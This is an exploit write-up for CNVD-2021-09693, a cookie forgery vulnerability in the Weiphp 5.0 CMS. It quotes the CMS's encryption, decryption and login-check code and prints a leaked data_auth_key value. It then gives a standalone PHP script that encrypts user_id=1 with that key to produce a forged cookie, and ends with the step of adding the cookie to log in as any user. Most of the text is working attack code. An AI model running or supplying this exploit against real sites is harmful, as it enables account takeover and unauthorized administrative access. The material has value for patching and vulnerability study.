CNVD-2021-09693 Weiphp5.0 Cookie Forgery Vulnerability for Any User

Vulnerability Impact

Weiphp <= 5.0

Exploit

First, you need to get the data_auth_key key in the database configuration file

To get this configuration file, please refer to %BB%B6%E4%BB%BB%E6%84%8F%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E CNVD-2020-68596 Weiphp5.0 front file Arbitrary read vulnerability

'data_auth_key' => '+0SeoAC#YR,Jm&c?[PhUg9u;:Drd8Fj4q|XOkx*T'

Find the place where this key is used globally:

Found the encryption method and decryption method based on this key

Encryption method think_encrypt

function think_encrypt($data, $key = '', $expire = 0)
{
    $key = md5(empty($key) ? config('database.data_auth_key') : $key);

    $data = base64_encode($data);
    $x = 0;
    $len = strlen($data);
    $l = strlen($key);
    $char = '';

    for ($i = 0; $i < $len; $i++) {
        if ($x == $l) {
            $x = 0;
        }

        $char .= substr($key, $x, 1);
        $x++;
    }

    $str = sprintf('%010d', $expire ? $expire + time() : 0);

    for ($i = 0; $i < $len; $i++) {
        $str .= chr(ord(substr($data, $i, 1)) + (ord(substr($char, $i, 1))) % 256);
    }
    return str_replace(array(
        '+',
        '/',
        '='
    ), array(
        '-',
        '_',
        ''
    ), base64_encode($str));
}

Decryption method think_decrypt

function think_decrypt($data, $key = '')
{
    $key = md5(empty($key) ? config('database.data_auth_key') : $key);
    $data = str_replace(array(
        '-',
        '_'
    ), array(
        '+',
        '/'
    ), $data);
    $mod4 = strlen($data) % 4;
    if ($mod4) {
        $data .= substr('====', $mod4);
    }
    $data = base64_decode($data);
    $expire = substr($data, 0, 10);
    $data = substr($data, 10);

    if ($expire > 0 && $expire < time()) {
        return '';
    }
    $x = 0;
    $len = strlen($data);
    $l = strlen($key);
    $char = $str = '';

    for ($i = 0; $i < $len; $i++) {
        if ($x == $l) {
            $x = 0;
        }

        $char .= substr($key, $x, 1);
        $x++;
    }

    for ($i = 0; $i < $len; $i++) {
        if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1))) {
            $str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
        } else {
            $str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
        }
    }
    return base64_decode($str);
}

The file application\common.php contains the code to use the decryption method for authentication

function is_login()
{
    $user = session('user_auth');
    if (empty($user)) {
        $cookie_uid = cookie('user_id');
        if (!empty($cookie_uid)) {
            $uid = think_decrypt($cookie_uid);
            $userinfo = getUserInfo($uid);
            D('common/User')->autoLogin($userinfo);

            $user = session('user_auth');
        }
    }
    if (empty($user)) {
        return 0;
    } else {
        return session('user_auth_sign') == data_auth_sign($user) ? $user['uid'] : 0;
    }
}

According to the code obtained here, you can know that when user_Id=1, the key will be decrypted to determine whether it is correct, and if it is correct, you can log in to the system

We can log in to the system by encrypting the cookie obtained with user_id=1 with an encryption code locally

<?php
show_source(__FILE__);
function think_encrypt($data, $key = '', $expire = 0)
{
    $key = '+0SeoAC#YR,Jm&c?[PhUg9u;:Drd8Fj4q|XOkx*T';
    $key = md5($key);

    $data = base64_encode($data);
    $x = 0;
    $len = strlen($data);
    $l = strlen($key);
    $char = '';

    for ($i = 0; $i < $len; $i++) {
        if ($x == $l) {
            $x = 0;
        }

        $char .= substr($key, $x, 1);
        $x++;
    }

    $str = sprintf('%010d', $expire ? $expire + time() : 0);

    for ($i = 0; $i < $len; $i++) {
        $str .= chr(ord(substr($data, $i, 1)) + (ord(substr($char, $i, 1))) % 256);
    }
    return str_replace(array(
        '+',
        '/',
        '='
    ), array(
        '-',
        '_',
        ''
    ), base64_encode($str));
}

echo 'user_id = ' . think_encrypt($_GET['user_id']);
?>

Add cookie: user_id=xxxxxxxx to log in successfully

Reference

http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7Cookie%E4%BC%AA%E9%80%A0%20CNVD-2021-09693.html